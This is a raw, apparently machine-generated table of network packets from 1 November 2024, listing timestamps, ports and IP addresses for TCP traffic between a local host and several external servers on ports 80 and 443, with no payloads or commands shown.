Nov 1, 2024 03:46:24.731714010 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731725931 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731735945 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731746912 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731758118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731760979 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.731769085 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731786966 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.731796980 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.731832981 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.732625961 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.732636929 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.732646942 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.732657909 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.732673883 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.732678890 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.732686043 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.732700109 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.732707977 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.732712030 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.732728958 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.732733011 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.732758045 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.732772112 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.734833956 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.734847069 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.734863997 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.734877110 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.734883070 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.734888077 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.734894037 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.734903097 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.734914064 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.734920025 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.734926939 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.734962940 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.734972000 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.734975100 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.734992981 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735006094 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735017061 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735028028 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735033989 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735035896 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.735039949 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735055923 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.735080957 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.735578060 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735590935 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735605001 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735616922 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735627890 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735627890 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.735640049 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735647917 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.735651970 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735662937 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735675097 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735676050 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.735687971 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735702038 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.735706091 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.735743999 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.735743999 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.771192074 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.771291971 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.771303892 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.771414995 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.815757990 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.815783024 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.815794945 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.815850973 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.815859079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.815907955 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.815943956 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.815957069 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.815985918 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.816015005 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.816082954 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816095114 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816106081 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816118956 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816128016 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.816165924 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.816318989 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816343069 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816365957 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.816397905 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.816426992 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816440105 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816452026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816476107 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.816509008 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.816601038 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816646099 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.816675901 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816689014 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816699982 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816716909 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.816737890 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.816757917 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.816867113 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816876888 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816886902 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816899061 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816907883 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.816910982 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.816943884 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.816955090 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.817089081 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.817183018 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.817193031 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.817193985 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.817205906 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.817213058 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.817231894 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.817248106 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.817279100 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.817404032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.817419052 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.817456007 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.848675966 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.848718882 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.848728895 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.848803997 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.848829031 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.848841906 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.848854065 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.848865032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.848896027 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.848923922 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.849034071 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849045992 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849056959 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849080086 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.849109888 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.849244118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849256992 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849267006 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849289894 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.849320889 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.849455118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849500895 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.849536896 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849550009 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849560976 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849572897 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849586010 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.849620104 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.849796057 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849845886 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.849874973 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849888086 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849896908 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849909067 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849919081 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.849921942 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.849953890 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.850240946 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.850287914 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:25.484277964 CET	443	58532	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:25.484373093 CET	443	58532	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:25.484479904 CET	58532	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:25.572295904 CET	58532	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:25.572314024 CET	443	58532	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:26.187268019 CET	58534	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:26.187297106 CET	443	58534	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:26.187366009 CET	58534	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:26.187706947 CET	58534	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:26.187721014 CET	443	58534	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:26.796641111 CET	443	58534	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:26.796752930 CET	58534	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:26.798007011 CET	58534	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:26.798012018 CET	443	58534	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:26.798252106 CET	443	58534	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:26.799447060 CET	58534	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:26.799550056 CET	58534	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:26.799555063 CET	443	58534	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:27.208751917 CET	58525	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:27.209090948 CET	58535	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:27.213922977 CET	80	58525	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:27.213983059 CET	58525	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:27.214077950 CET	80	58535	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:27.214222908 CET	58535	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:27.217359066 CET	58535	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:27.222819090 CET	80	58535	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:27.298480988 CET	443	58534	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:27.298573971 CET	443	58534	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:27.298700094 CET	58534	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:27.298764944 CET	58534	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:27.298779011 CET	443	58534	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:28.154186010 CET	80	58535	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:28.155415058 CET	58535	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:28.543966055 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:28.544260979 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:28.549117088 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:28.549218893 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:28.549798965 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:28.549875021 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:28.550215960 CET	58537	80	192.168.2.6	185.215.113.206
Nov 1, 2024 03:46:28.551270008 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:28.555027962 CET	80	58537	185.215.113.206	192.168.2.6
Nov 1, 2024 03:46:28.555119038 CET	58537	80	192.168.2.6	185.215.113.206
Nov 1, 2024 03:46:28.556046009 CET	58537	80	192.168.2.6	185.215.113.206
Nov 1, 2024 03:46:28.556360960 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:28.561120987 CET	80	58537	185.215.113.206	192.168.2.6
Nov 1, 2024 03:46:28.723103046 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:28.723130941 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:28.723301888 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:28.723691940 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:28.723704100 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.328835011 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.328911066 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.330240011 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.330246925 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.330574036 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.333295107 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.334057093 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.334101915 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.334223032 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.334264040 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.334387064 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.334418058 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.334980965 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.335012913 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.336311102 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.336350918 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.337351084 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.337382078 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.337397099 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.337410927 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.337558031 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.337579012 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.337603092 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.337719917 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.337748051 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.344391108 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.345720053 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.345741034 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.345767021 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.345814943 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:29.350012064 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:29.456432104 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.456480026 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.456603050 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.456861973 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.456873894 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.456887007 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.456921101 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.456975937 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.456981897 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.456989050 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.457041025 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.457139969 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.457190037 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.457212925 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.457232952 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.457323074 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.461637020 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.461694956 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.461708069 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.461769104 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.461769104 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.463068008 CET	80	58537	185.215.113.206	192.168.2.6
Nov 1, 2024 03:46:29.463131905 CET	58537	80	192.168.2.6	185.215.113.206
Nov 1, 2024 03:46:29.465368986 CET	58537	80	192.168.2.6	185.215.113.206
Nov 1, 2024 03:46:29.470252991 CET	80	58537	185.215.113.206	192.168.2.6
Nov 1, 2024 03:46:29.614094019 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.614115000 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.614173889 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.614233017 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.614233017 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.614233017 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.614244938 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.614326954 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.614504099 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.614514112 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.614576101 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.614706039 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.614752054 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.614768982 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.614777088 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.614805937 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.614805937 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.614892960 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.614905119 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.614955902 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.615580082 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.615590096 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.615638971 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.735153913 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.735215902 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.735228062 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.735239029 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.735250950 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.735263109 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.735274076 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.735285997 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.735332012 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.735435009 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.735445023 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.735455990 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.735465050 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.735492945 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.735512018 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.749275923 CET	80	58537	185.215.113.206	192.168.2.6
Nov 1, 2024 03:46:29.752957106 CET	58537	80	192.168.2.6	185.215.113.206
Nov 1, 2024 03:46:29.772532940 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.772545099 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.772599936 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.848011971 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.848023891 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.848063946 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.848104000 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.848121881 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.848133087 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.848149061 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.848176003 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.848262072 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.848280907 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.848306894 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.848330021 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.848848104 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.848886967 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.848915100 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.848931074 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.848948956 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.848963976 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.848999023 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.849035025 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.849421024 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.849457026 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.849463940 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.849476099 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.849497080 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.849509954 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.934933901 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.934983015 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:29.934998989 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:29.935024023 CET	58536	80	192.168.2.6	185.215.113.16
